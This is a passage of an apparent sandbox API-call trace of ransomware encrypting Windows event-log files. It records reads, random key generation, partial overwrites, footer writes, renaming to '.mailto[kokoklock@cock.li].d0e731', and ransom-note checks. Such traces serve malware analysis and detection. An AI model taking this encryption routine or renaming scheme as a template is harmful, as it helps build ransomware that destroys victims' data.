| out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.954] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.955] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.955] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.955] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.955] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.955] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.955] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.955] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.955] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.955] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f987d8) returned 1 [0164.956] RtlExitUserThread (Status=0x1) Thread: id = 1546 os_tid = 0xf04 [0164.957] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.958] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.958] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.958] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x74efde8 | out: lpFileSize=0x74efde8*=69824) returned 1 [0164.958] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.958] ReadFile (in: hFile=0x4a0, lpBuffer=0x74efdbc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x74efdb8, lpOverlapped=0x0 | out: lpBuffer=0x74efdbc*, lpNumberOfBytesRead=0x74efdb8*=0x4, lpOverlapped=0x0) returned 1 [0164.959] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.959] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6e0 [0164.959] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab258 [0164.959] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab500 [0164.959] NtQuerySystemTime (in: CurrentTime=0x74efd94 | out: CurrentTime=0x74efd94*=132121213222715717) returned 0x0 [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xf9945927 [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xcc79a3d3 [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x118c139d [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x7996dcbb [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xaf978fdc [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x5591610a [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xfc6c2386 [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xa56dae82 [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x2f20fc92 [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x68fd6ecb [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xf5b17c60 [0164.959] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xfa143a6e [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x8b6ad3c1 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xa42a360a [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xad1fbe5d [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x52b49c20 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xa5e8c02f [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x89e5b496 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xbe8e771e [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xd77401ec [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x9fa422f2 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xa8462ab5 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xc2875ac9 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x6f2b9b33 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x359fe597 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xc42b608d [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x178717f1 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x23b81e56 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x47f0961f [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x6c2ae6be [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0xb2fdaa26 [0164.960] RtlRandom (in: Seed=0x74efda0 | out: Seed=0x74efda0) returned 0x9ae3ad9c [0164.971] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0164.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0164.973] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.973] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6e0) returned 1 [0164.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.973] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.974] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x74efd6c, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x74efd6c*=0x4096, lpOverlapped=0x0) returned 1 [0164.975] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0164.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0164.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0164.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab320 [0164.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab320) returned 1 [0164.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.975] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x74efd6c, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x74efd6c*=0x4096, lpOverlapped=0x0) returned 1 [0164.976] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.976] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.976] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x74efda4, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x74efda4*=0x20, lpOverlapped=0x0) returned 1 [0164.976] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0164.976] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.976] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x74efdb8, lpOverlapped=0x0 | out: lpBuffer=0x2fab2f8*, lpNumberOfBytesWritten=0x74efdb8*=0x8, lpOverlapped=0x0) returned 1 [0164.976] WriteFile (in: hFile=0x4a0, lpBuffer=0x74efdd0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x74efdb8, lpOverlapped=0x0 | out: lpBuffer=0x74efdd0*, lpNumberOfBytesWritten=0x74efdb8*=0x4, lpOverlapped=0x0) returned 1 [0164.976] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x74efdb8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x74efdb8*=0x4, lpOverlapped=0x0) returned 1 [0164.976] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x74efdb8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x74efdb8*=0x6c, lpOverlapped=0x0) returned 1 [0164.976] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x74efdb8, lpOverlapped=0x0 | out: lpBuffer=0x2fab258*, lpNumberOfBytesWritten=0x74efdb8*=0x20, lpOverlapped=0x0) returned 1 [0164.977] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x74efdb8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x74efdb8*=0x4, lpOverlapped=0x0) returned 1 [0164.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab258) returned 1 [0164.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0164.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0164.977] CloseHandle (hObject=0x4a0) returned 1 [0164.977] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x2f95ed8 [0164.977] wcscpy (in: _Dest=0x2f95ed8, _Source="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.977] wcscat (in: _Dest=0x2f95ed8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.977] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.978] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.978] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95ed8) returned 1 [0164.978] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.978] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.978] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.978] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.978] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.978] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.978] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ec30) returned 1 [0164.978] RtlExitUserThread (Status=0x1) Thread: id = 1547 os_tid = 0xf08 [0164.979] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.980] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.980] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.980] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x756fa70 | out: lpFileSize=0x756fa70*=69824) returned 1 [0164.980] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.980] ReadFile (in: hFile=0x4a0, lpBuffer=0x756fa44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x756fa40, lpOverlapped=0x0 | out: lpBuffer=0x756fa44*, lpNumberOfBytesRead=0x756fa40*=0x4, lpOverlapped=0x0) returned 1 [0164.981] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab528 [0164.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0164.981] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab640 [0164.981] NtQuerySystemTime (in: CurrentTime=0x756fa1c | out: CurrentTime=0x756fa1c*=132121213223028160) returned 0x0 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xdcedb4f5 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xe4aac7c5 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xcf54a4c8 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x380d640f [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xca716a5c [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x3a13bd5e [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xecbf22a [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x13bd6700 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x27654b4c [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xf09ce07b [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xe74d9598 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xb2d2819 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x2eefa4d7 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x27db30b5 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x80b7879 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x52c1b9d8 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x59d95926 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x9f0797 [0164.981] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xa1e9e623 [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x48b06227 [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xca94e0ea [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x143febb1 [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x4eaa2d4f [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xc9f219cd [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xa863255b [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xea9dfdfa [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x10cfe650 [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0xbe309864 [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x7448761c [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x16574d3b [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x869bf8c0 [0164.982] RtlRandom (in: Seed=0x756fa28 | out: Seed=0x756fa28) returned 0x419860db [0164.990] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0164.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faab10 [0164.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab258 [0164.992] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faab10) returned 1 [0164.992] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab528) returned 1 [0164.992] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.992] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.992] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x756f9f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x756f9f4*=0x4096, lpOverlapped=0x0) returned 1 [0164.993] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0164.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0164.993] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab320 [0164.993] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab320) returned 1 [0164.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0164.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6b8 [0164.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6b8) returned 1 [0164.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0164.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0164.994] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x756f9f4, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x756f9f4*=0x4096, lpOverlapped=0x0) returned 1 [0164.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.994] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.994] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x756fa2c, lpOverlapped=0x0 | out: lpBuffer=0x2fab668*, lpNumberOfBytesWritten=0x756fa2c*=0x20, lpOverlapped=0x0) returned 1 [0164.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab668) returned 1 [0164.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.995] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab258*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x756fa40, lpOverlapped=0x0 | out: lpBuffer=0x2fab258*, lpNumberOfBytesWritten=0x756fa40*=0x8, lpOverlapped=0x0) returned 1 [0164.995] WriteFile (in: hFile=0x4a0, lpBuffer=0x756fa58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x756fa40, lpOverlapped=0x0 | out: lpBuffer=0x756fa58*, lpNumberOfBytesWritten=0x756fa40*=0x4, lpOverlapped=0x0) returned 1 [0164.995] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x756fa40, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x756fa40*=0x4, lpOverlapped=0x0) returned 1 [0164.995] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x756fa40, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x756fa40*=0x6c, lpOverlapped=0x0) returned 1 [0164.995] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab690*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x756fa40, lpOverlapped=0x0 | out: lpBuffer=0x2fab690*, lpNumberOfBytesWritten=0x756fa40*=0x20, lpOverlapped=0x0) returned 1 [0164.995] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x756fa40, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x756fa40*=0x4, lpOverlapped=0x0) returned 1 [0164.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0164.995] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0164.996] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab258) returned 1 [0164.996] CloseHandle (hObject=0x4a0) returned 1 [0164.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f96f78 [0164.996] wcscpy (in: _Dest=0x2f96f78, _Source="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.996] wcscat (in: _Dest=0x2f96f78, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.996] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.997] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96f78) returned 1 [0164.997] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) 